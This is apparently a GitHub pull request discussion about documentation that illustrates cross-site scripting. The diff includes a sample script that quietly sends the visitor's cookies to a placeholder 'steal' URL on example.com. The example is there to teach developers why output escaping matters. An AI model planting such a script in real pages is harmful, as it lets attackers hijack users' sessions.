Add a better example of the dangers of XSS attacks #19805
Conversation
Go ahead then 😄 |
|
|
||
| My Name | ||
| <script type="text/javascript"> | ||
| document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">'); |
There was a problem hiding this comment.
What about use a route with things like /delete/post/1 ?
So reader got the critical idea of having a page making an external action not only query things?
There was a problem hiding this comment.
I don't like this idea because it's mixing two different things: XSS attacks is one thing and creating/deleting resources with GET HTTP methods is a different problem. But thanks anyways for reviewing and commenting.
| example seems harmless, the attacker could write more advanced JavaScript code | ||
| to perform malicious actions. | ||
| You'll see ``My Name`` on screen but the attacker just secretly stole your cookies | ||
| so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_ |
There was a problem hiding this comment.
| so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_ | |
| so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_ |
There was a problem hiding this comment.
Fixed while merging. Thanks!
I can merge this myself ... but if other maintainers want to do it, keep in mind that there are new occurrences of "XSS attacks" in upper branches that must be updated to link to the new section.